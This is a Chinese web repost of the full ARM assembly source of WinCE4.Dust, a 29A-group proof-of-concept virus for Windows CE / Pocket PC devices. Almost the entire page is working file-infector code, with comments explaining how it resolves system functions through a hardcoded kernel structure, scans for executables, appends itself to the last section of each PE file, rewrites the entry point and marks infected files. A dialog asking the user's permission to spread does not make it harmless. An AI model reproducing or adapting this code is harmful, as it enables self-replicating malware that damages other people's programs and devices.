WinCE.Dust手机病毒源代码

  • 来源: 驱动中国 作者: xuqingzhong   2008-07-11/10:23
  • ** virus_source **
    CODE32
    EXPORT  WinMainCRTStartup
    AREA .text, CODE, ARM
    virus_start
    ; r11 - base pointer
    virus_code_start   PROC
    stmdb   sp!, {r0 - r12, lr, pc}
    mov    r11, sp
    sub    sp, sp, #56     ; make space on the stack
    ; our stack space gets filled the following way
    ;    #-56 - udiv
    ;    #-52 - malloc
    ;    #-48 - free
    ; [r11, #-44] - CreateFileForMappingW
    ;    #-40 - CloseHandle
    ;    #-36 - CreateFileMappingW
    ;    #-32 - MapViewOfFile
    ;    #-28 - UnmapViewOfFile
    ;    #-24 - FindFirstFileW
    ;    #-20 - FindNextFileW
    ;    #-16 - FindClose
    ;    #-12 - MessageBoxW
    ;    #- 8 - filehandle
    ;    #- 4 - mapping handle
    bl    get_export_section
    ; we'll import via ordinals, not function names, because it's
    ; safe - even linker does that
    adr   r2, import_ordinals
    mov   r3, sp
    bl    lookup_imports
    ;
    bl    ask_user
    beq    jmp_to_host     ; are we allowed to spread?
    ;
    mov    r0, #0x23, 28
    mov    lr, pc
    ldr    pc, [r11, #-52]   ; allocate WFD
    mov    r4, r0
    cmp    r0, #0
    beq    jmp_to_host
    ; in the following code I use functions FindFirstFile/FindNextFile
    ; for finding *.exe files in the current directory. But in this
    ; case I made a big mistake. I didn't realize that WinCE is not
    ; aware of the current directory and thus we need to use absolute
    ; pathnames. That's why this code won't find files in the current
    ; directory, but rather always in root directory. I found this out when I
    ; was performing final tests, but because the aim was to create a
    ; proof-of-concept code and because the infection itself was already
    ; limited by the user's permission, I decided not to correct this
    ; bug
    adr    r0, mask
    mov    r1, r4
    mov    lr, pc
    ldr    pc, [r11, #-24]   ; find first file
    cmn    r0, #1
    beq    free_wfd
    mov    r5, r0
    find_files_iterate
    ldr    r0, [r4, #28]     ; filesize high
    ldr    r1, [r4, #32]     ; filesize low
    cmp    r0, #0         ; file too big?
    bne    find_next_file
    cmp    r1, #0x1000      ; file smaller than 4096 bytes?
    addgt   r0, r4, #40      ; gimme file name
    blgt   infect_file
    find_next_file
    mov    r0, r5
    mov    r1, r4
    mov    lr, pc
    ldr    pc, [r11, #-20]    ; find next file
    cmp    r0, #0         ; is there any left?
    bne    find_files_iterate
    mov    r0, r5
    mov    lr, pc
    ldr    pc, [r11, #-16]
    free_wfd
    mov    r0, r4
    mov    lr, pc
    ldr    pc, [r11, #-48]    ; free WFD
    ;
    jmp_to_host
    adr    r0, host_ep
    ldr    r1, [r0]        ; get host_entry
    ldr    r2, [r11, #56]     ; get pc
    add    r1, r1, r2       ; add displacement
    str    r1, [r11, #56]     ; store it back
    mov    sp, r11
    ldmia   sp!, {r0 - r12, lr, pc}
    ENDP
    ; we're looking for *.exe files
    mask   DCB    "*", 0x0, ".", 0x0, "e", 0x0, "x", 0x0, "e", 0x0, 0x0, 0x0
    ; host entry point displacement
    ; in first generation let compiler count it
    host_ep
    DCD    host_entry - virus_code_start - 8
    ; WinCE is a UNICODE-only platform and thus we'll use the W ending
    ; for api names (there are no ANSI versions of these)
    import_ordinals
    DCW    2008       ; udiv
    DCW    1041       ; malloc
    DCW    1018       ; free
    DCW    1167       ; CreateFileForMappingW
    DCW    553        ; CloseHandle#p#分页标题#e#
    DCW    548        ; CreateFileMappingW
    DCW    549        ; MapViewOfFile
    DCW    550        ; UnmapViewOfFile
    DCW    167        ; FindFirstFileW
    DCW    181        ; FindNextFile
    DCW    180        ; FindClose
    DCW    858        ; MessageBoxW
    DCD    0x0
    ; basic wide string compare
    wstrcmp   PROC
    wstrcmp_iterate
    ldrh    r2, [r0], #2
    ldrh    r3, [r1], #2
    cmp    r2, #0
    cmpeq   r3, #0
    moveq   pc, lr
    cmp    r2, r3
    beq    wstrcmp_iterate
    mov    pc, lr
    ENDP
    ; on theWin32 platform, almost all important functions were located in the
    ; kernel32.dll library (and if they weren't, the LoadLibrary/GetProcAddresss pair
    ; was). The first infectors had a hardcoded imagebase of this dll and
    ; later they imported needed functions by hand from it. This
    ; turned out to be incompatible because different Windows versions might
    ; have different imagebases for kernel32. That's why more or less
    ; sophisticated methods were found that allowed coding in a
    ; compatible way. One of these methods is scanning memory for known values
    ; located in PE file header ("MZ") if the address inside the module is
    ; given. Because the function inside kernel32 calls the EntryPoint of
    ; every Win32 process, we've got this address. Then comparing the word
    ; on and aligned address (and decrementing it) against known values is
    ; enough to locate the imagebase. If this routine is even covered
    ; with SEH (Structured Exception Handling) everything is safe.
    ; I wanted to use this method on WinCE too, but I hit the wall.
    ; Probably to save memory space, there are no headers
    ; before the first section of the loaded module. There is thus no
    ; "MZ" value and scanning cannot be used even we have the address
    ; inside coredll.dll (lr registr on our entrypoint). Moreover, we
    ; cannot use SEH either, because SEH handlers get installed with
    ; the help of a special directory (the exception directory) in the PE file and
    ; some data before the function starts - this information would have
    ; to be added while infecting the victim (the exception directory
    ; would have to be altered) which is of course not impossible -- just
    ; a little bit impractical to implement in our basic virus.
    ; That's why I was forced to use a different approach. I looked
    ; through the Windows CE 3.0 source code (shared source,
    ; downloadable from Microsoft) and tried to find out how the loader
    ; performs its task. The Loader needs the pointer to the module's export
    ; section and its imagebase to be able to import from it. The result was a
    ; KDataStruct at a hardcoded address accessible from user mode (why Microsoft
    ; chose to open this loophole, I don't know)
    ; and mainly it's item aInfo[KINX_MODULES] which is a pointer to a
    ; list of Module structures. There we can find all needed values
    ; (name of the module, imagebase and export section RVA). In the
    ; code that follows I go through this one-way list and look for
    ; structure describing the coredll.dll module. From this structure I
    ; get the imagebase and export section RVA (Relative Virtual Address).
    ; what sounds relatively easy was in the end more work than I
    ; expected. The problem was to get the offsets in the Module
    ; structure. The source code and corresponding headers I had were for
    ; Windows CE 3.0, but I was writing for Windows CE 4.2 (Windows Mobile 2003),
    ; where the structure is different. I worked it out using the following
    ; sequence:
    ; I was able to get the imagebase offset using the trial-and-error
    ; method - I used the debugger and tried values inside the
    ; structure that looked like valid pointers. If there was something
    ; interesting, I did some memory sniffing to realize where I was.
    ; The export section pointer was more difficult. There is no real
    ; pointer, just the RVA instead. Adding the imagebase to RVA gives us the
    ; pointer. That's why I found coredll.dll in memory - namely the
    ; list of function names in export section that the library exports.
    ; This list is just a series of ASCIIZ names (you can see this list
    ; when opening the dll in your favourite hex editor). At the
    ; beginning of this list there must be a dll name (in this case
    ; coredll.dll) to which a RVA in the export section header
    ; points. Substracting the imagebase from the address where the dll
    ; name starts gave me an RVA of the dll name. I did a simple byte#p#分页标题#e#
    ; search for the byte sequence that together made this RVA value. This
    ; showed me where the (Export Directory Table).Name Rva is.
    ; Because this is a known offset within a known structure (which is
    ; in the beginning of export section), I was able to get
    ; the export section pointer this way. I again substracted the imagebase to
    ; get the export section RVA. I looked up this value in the coredll's
    ; Module structure, which finally gave me the export section RVA
    ; offset.
    ; this works on Pocket PC 2003; it works on
    ; my wince 4.20.0 (build 13252).
    ; On different versions the structure offsets might be different :-/
    ; output:
    ;  r0 - coredll base addr
    ;  r1 - export section addr
    get_export_section   PROC
    stmdb   sp!, {r4 - r9, lr}
    ldr    r4, =0xffffc800   ; KDataStruct
    ldr    r5, =0x324     ; aInfo[KINX_MODULES]
    add    r5, r4, r5
    ldr    r5, [r5]
    ; r5 now points to first module
    mov    r6, r5
    mov    r7, #0
    iterate
    ldr    r0, [r6, #8]     ; get dll name
    adr    r1, coredll
    bl    wstrcmp        ; compare with coredll.dll
    ldreq   r7, [r6, #0x7c]    ; get dll base
    ldreq   r8, [r6, #0x8c]    ; get export section rva
    add    r9, r7, r8
    beq    got_coredllbase    ; is it what we're looking for?
    ldr    r6, [r6, #4]
    cmp    r6, #0
    cmpne   r6, r5
    bne    iterate        ; nope, go on
    got_coredllbase
    mov    r0, r7
    add    r1, r8, r7      ; yep, we've got imagebase
    ; and export section pointer
    ldmia   sp!, {r4 - r9, pc}
    ENDP
    coredll   DCB    "c", 0x0, "o", 0x0, "r", 0x0, "e", 0x0, "d", 0x0, "l", 0x0, "l", 0x0
    DCB    ".", 0x0, "d", 0x0, "l", 0x0, "l", 0x0, 0x0, 0x0
    ; r0 - coredll base addr
    ; r1 - export section addr
    ; r2 - import ordinals array
    ; r3 - where to store function adrs
    lookup_imports   PROC
    stmdb   sp!, {r4 - r6, lr}
    ldr    r4, [r1, #0x10]    ; gimme ordinal base
    ldr    r5, [r1, #0x1c]    ; gimme Export Address Table
    add    r5, r5, r0
    lookup_imports_iterate
    ldrh   r6, [r2], #2     ; gimme ordinal
    cmp    r6, #0        ; last value?
    subne   r6, r6, r4      ; substract ordinal base
    ldrne   r6, [r5, r6, LSL #2] ; gimme export RVA
    addne   r6, r6, r0      ; add imagebase
    strne   r6, [r3], #4     ; store function address
    bne    lookup_imports_iterate
    ldmia    sp!, {r4 - r6, pc}
    ENDP
    ; r0 - filename
    ; r1 - filesize
    infect_file   PROC
    stmdb   sp!, {r0, r1, r4, r5, lr}
    mov    r4, r1
    mov    r8, r0
    bl    open_file       ; first open the file for mapping
    cmn    r0, #1
    beq    infect_file_end
    str    r0, [r11, #-8]    ; store the handle
    mov    r0, r4        ; now create the mapping with
    ; maximum size == filesize
    bl    create_mapping
    cmp    r0, #0
    beq    infect_file_end_close_file
    str    r0, [r11, #-4]    ; store the handle
    mov    r0, r4
    bl    map_file       ; map the whole file
    cmp    r0, #0
    beq    infect_file_end_close_mapping
    mov    r5, r0
    bl    check_header     ; is it file that we can infect?
    bne    infect_file_end_unmap_view
    ldr    r0, [r2, #0x4c]    ; check the reserved field in
    ; optional header against
    ldr    r1, =0x72617461    ; rata
    cmp    r0, r1        ; already infected?
    beq    infect_file_end_unmap_view
    ldr    r1, [r2, #0x3c]    ; gimme filealignment
    adr    r0, virus_start#p#分页标题#e#
    adr    r2, virus_end     ; compute virus size
    sub    r0, r2, r0
    mov    r7, r0        ; r7 now holds virus_size
    add    r0, r0, r4
    bl    _align_        ; add it to filesize and
    mov    r6, r0        ; align it to filealignment
    ; r6 holds the new filesize
    mov    r0, r5
    mov    lr, pc
    ldr    pc, [r11, #-28]    ; UnmapViewOfFile
    ldr    r0, [r11, #-4]
    mov    lr, pc
    ldr    pc, [r11, #-40]    ; close mapping handle
    ;
    mov    r0, r8
    bl    open_file       ; reopen the file because via
    ; closing the mapping handle file
    ; handle was closed too
    cmn    r0, #1
    beq    infect_file_end
    str    r0, [r11, #-8]
    mov    r0, r6        ; create mapping again with the
    bl    create_mapping    ; new filesize (with virus appended)
    cmp    r0, #0
    beq    infect_file_end_close_file
    str    r0, [r11, #-4]
    mov    r0, r6
    bl    map_file       ; map it
    cmp    r0, #0
    beq    infect_file_end_close_mapping
    mov    r5, r0
    ;
    ; r5 - mapping base
    ; r7 - virus_size
    ldr    r4, [r5, #0x3c]    ; get PE signature offset
    add    r4, r4, r5      ; add the base
    ldrh   r1, [r4, #6]     ; get NumberOfSections
    sub    r1, r1, #1      ; we want the last section header
    ; so dec
    mov    r2, #0x28       ; multiply with section header size
    mul    r0, r1, r2
    add    r0, r0, r4      ; add optional header start to displacement
    add    r0, r0, #0x78     ; add optional header size
    ldr    r1, [r4, #0x74]    ; get number of data directories
    mov    r1, r1, LSL #3    ; multiply with sizeof(data_directory)
    add    r0, r0, r1      ; add it because section headers
    ; start after the optional header
    ; (including data directories)
    ldr    r6, [r4, #0x28]    ; gimme entrypoint rva
    ldr    r1, [r0, #0x10]    ; get last section's size of rawdata
    ldr    r2, [r0, #0x14]    ; and pointer to rawdata
    mov    r3, r1
    add    r1, r1, r2      ; compute pointer to the first
    ; byte available for us in the
    ; last section
    ; (pointer to rawdata + sizeof rawdata)
    mov    r9, r1        ; r9 now holds the pointer
    ldr    r8, [r0, #0xc]    ; get RVA of section start
    add    r3, r3, r8      ; add sizeof rawdata
    str    r3, [r4, #0x28]    ; set entrypoint
    sub    r6, r6, r3      ; now compute the displacement so that
    ; we can later jump back to the host
    sub    r6, r6, #8      ; sub 8 because pc points to
    ; fetched instruction (viz LTORG)
    mov    r10, r0
    ldr    r0, [r10, #0x10]   ; get size of raw data again
    add    r0, r0, r7      ; add virus size
    ldr    r1, [r4, #0x3c]
    bl    _align_        ; and align
    str    r0, [r10, #0x10]   ; store new size of rawdata
    str    r0, [r10, #0x8]    ; store new virtual size
    ldr    r1, [r10, #0xc]    ; get virtual address of last section
    add    r0, r0, r1      ; add size so get whole image size
    str    r0, [r4, #0x50]    ; and store it
    ldr    r0, =0x60000020    ; IMAGE_SCN_CNT_CODE | MAGE_SCN_MEM_EXECUTE |
    ; IMAGE_SCN_MEM_READ
    ldr    r1, [r10, #0x24]   ; get old section flags
    orr    r0, r1, r0      ; or it with our needed ones
    str    r0, [r10, #0x24]   ; store new flags#p#分页标题#e#
    ldr    r0, =0x72617461
    str    r0, [r4, #0x4c]    ; store our infection mark
    add    r1, r9, r5      ; now we'll copy virus body
    mov    r9, r1        ; to space prepared in last section
    adr    r0, virus_start
    mov    r2, r7
    bl    simple_memcpy
    adr    r0, host_ep      ; compute number of bytes between
    ; virus start and host ep
    adr    r1, virus_start
    sub    r0, r0, r1      ; because we'll store new host_ep
    str    r6, [r0, r9]     ; in the copied virus body
    infect_file_end_unmap_view
    mov    r0, r5
    mov    lr, pc        ; unmap the view
    ldr    pc, [r11, #-28]
    infect_file_end_close_mapping
    ldr    r0, [r11, #-4]
    mov    lr, pc        ; close the mapping
    ldr    pc, [r11, #-40]
    infect_file_end_close_file
    ldr    r0, [r11, #-8]
    mov    lr, pc        ; close file handle
    ldr    pc, [r11, #-40]
    infect_file_end
    ldmia   sp!, {r0, r1, r4, r5, pc}   ; and return
    ENDP
    ; a little reminiscence of my beloved book - Greg Egan's Permutation City
    DCB    "This code arose from the dust of Permutation City"
    ALIGN    4
    ; this function checks whether the file we want to infect is
    ; suitable
    check_header  PROC
    ldrh   r0, [r5]
    ldr    r1, =0x5a4d      ; MZ?
    cmp    r0, r1
    bne    infect_file_end_close_mapping
    ldr    r2, [r5, #0x3c]
    add    r2, r2, r5
    ldrh   r0, [r2]
    ldr    r1, =0x4550      ; Signature == PE?
    cmp    r0, r1
    bne    check_header_end
    ldrh   r0, [r2, #4]
    ldr    r1, =0x1c0      ; Machine == ARM?
    cmp    r0, r1
    bne    check_header_end
    ldrh   r0, [r2, #0x5C]    ; IMAGE_SUBSYSTEM_WINDOWS_CE_GUI ?
    cmp    r0, #9
    bne    check_header_end
    ldrh   r0, [r2, #0x40]
    cmp    r0, #4        ; windows ce 4?
    check_header_end
    mov    pc, lr
    ENDP
    ; r0 - file
    open_file   PROC
    str    lr, [sp, #-4]!
    sub    sp, sp, #0xc
    mov    r1, #3
    str    r1, [sp]       ; OPEN_EXISTING
    mov    r3, #0
    mov    r2, #0
    str    r3, [sp, #8]
    str    r3, [sp, #4]
    mov    r1, #3, 2       ; GENERIC_READ | GENERIC_WRITE
    mov    lr, pc
    ldr    pc, [r11, #-44]    ; call CreateFileForMappingW to
    ; get the handle suitable for
    ; CreateFileMapping API
    ; (on Win32 calling CreateFile is enough)
    add    sp, sp, #0xc
    ldr    pc, [sp], #4
    ENDP
    ; r0 - max size low
    create_mapping   PROC
    str    lr, [sp, #-4]!
    mov    r1, #0
    sub    sp, sp, #8
    str    r0, [sp]
    str    r1, [sp, #4]
    mov    r2, #4        ; PAGE_READWRITE
    mov    r3, #0
    ldr    r0, [r11, #-8]
    mov    lr, pc
    ldr    pc, [r11, #-36]
    add    sp, sp, #8
    ldr    pc, [sp], #4
    ENDP
    ; r0 - bytes to map
    map_file   PROC
    str    lr, [sp, #-4]!
    sub    sp, sp, #4
    str    r0, [sp]
    ldr    r0, [r11, #-4]
    mov    r1, #6        ; FILE_MAP_READ or FILE_MAP_WRITE
    mov    r2, #0
    mov    r3, #0
    mov    lr, pc
    ldr    pc, [r11, #-32]
    add    sp, sp, #4
    ldr    pc, [sp], #4
    ENDP
    ; not optimized (thus simple) mem copy
    ; r0 - src
    ; r1 - dst
    ; r2 - how much
    simple_memcpy   PROC
    ldr    r3, [r0], #4
    str    r3, [r1], #4
    subs   r2, r2, #4#p#分页标题#e#
    bne    simple_memcpy
    mov    pc, lr
    ENDP
    ; (r1 - (r1 % r0)) + r0
    ; r0 - number to align
    ; r1 - align to what
    _align_    PROC
    stmdb   sp!, {r4, r5, lr}
    mov    r4, r0
    mov    r5, r1
    mov    r0, r1
    mov    r1, r4
    ; ARM ISA doesn't have the div instruction so we'll have to call
    ; the coredll's div implementation
    mov    lr, pc
    ldr    pc, [r11, #-56]    ; udiv
    sub    r1, r5, r1
    add    r0, r4, r1
    ldmia   sp!, {r4, r5, pc}
    ENDP
    ; this function will ask user (via a MessageBox) whether we're
    ; allowed to spread or not
    ask_user   PROC
    str    lr, [sp, #-4]!
    mov    r0, #0
    adr    r1, text
    adr    r2, caption
    mov    r3, #4
    mov    lr, pc
    ldr    pc, [r11, #-12]
    cmp    r0, #7
    ldr    pc, [sp], #4
    ENDP
    ; notice that the strings are encoded in UNICODE
    ; WinCE4.Dust by Ratter/29A
    caption DCB    "W", 0x0, "i", 0x0, "n", 0x0, "C", 0x0, "E", 0x0, "4", 0x0
    DCB    ".", 0x0, "D", 0x0, "u", 0x0, "s", 0x0, "t", 0x0, " ", 0x0
    DCB    "b", 0x0, "y", 0x0, " ", 0x0, "R", 0x0, "a", 0x0, "t", 0x0
    DCB    "t", 0x0, "e", 0x0, "r", 0x0, "/", 0x0, "2", 0x0, "9", 0x0
    DCB    "A", 0x0, 0x0, 0x0
    ALIGN    4
    ; Dear User, am I allowed to spread?
    text   DCB    "D", 0x0, "e", 0x0, "a", 0x0, "r", 0x0, " ", 0x0, "U", 0x0
    DCB    "s", 0x0, "e", 0x0, "r", 0x0, ",", 0x0, " ", 0x0, "a", 0x0
    DCB    "m", 0x0, " ", 0x0, "I", 0x0, " ", 0x0, "a", 0x0, "l", 0x0
    DCB    "l", 0x0, "o", 0x0, "w", 0x0, "e", 0x0, "d", 0x0, " ", 0x0
    DCB    "t", 0x0, "o", 0x0, " ", 0x0, "s", 0x0, "p", 0x0, "r", 0x0
    DCB    "e", 0x0, "a", 0x0, "d", 0x0, "?", 0x0, 0x0, 0x0
    ALIGN    4
    ; Just a little greeting to *** firms :-)
    DCB    "This is proof of concept code. Also, i wanted to make avers happy."
    DCB    "The situation when Pocket PC antiviruses detect only EICAR file had"
    DCB    " to end ..."
    ALIGN    4
    ; LTORG is a very important pseudo instruction, which places the
    ; literal pool "at" the place of its presence. Because the ARM
    ; instruction length is hardcoded to 32 bits, it is not possible in
    ; one instruction to load the whole 32bit range into a register (there
    ; have to be bits to specify the opcode). That's why the literal
    ; pool was introduced, which in fact is just an array of 32bit values
    ; that are not possible to load. This data structure is later
    ; accessed with the aid of the PC (program counter) register that points
    ; to the currently executed instruction + 8 (+ 8 because ARM processors
    ; implement a 3 phase pipeline: execute, decode, fetch and the PC
    ; points not at the instruction being executed but at the instruction being
    ; fetched). An offset is added to PC so that the final pointer
    ; points to the right value in the literal pool.
    ; the pseudo instruction ldr rX, =<value> while compiling gets
    ; transformed to a mov instruction (if the value is in the range of
    ; valid values) or it allocates its place in the literal pool and becomes a
    ; ldr, rX, [pc, #<offset>]
    ; similarly adr and adrl instructions serve to loading addresses
    ; to register.
    ; this approach's advantage is that with minimal effort we can get
    ; position independent code from the compiler which allows our
    ; code to run wherever in the address space the loader will load us.
    LTORG
    virus_end
    ; the code after virus_end doesn't get copied to victims
    WinMainCRTStartup PROC
    b     virus_code_start
    ENDP
    ; first generation entry point
    host_entry
    mvn    r0, #0
    mov    pc, lr
    END
    ** virus_source_end **

    评论 {{userinfo.comments}}

    {{money}}

    {{question.question}}

    A {{question.A}}
    B {{question.B}}
    C {{question.C}}
    D {{question.D}}
    提交

    驱动号 更多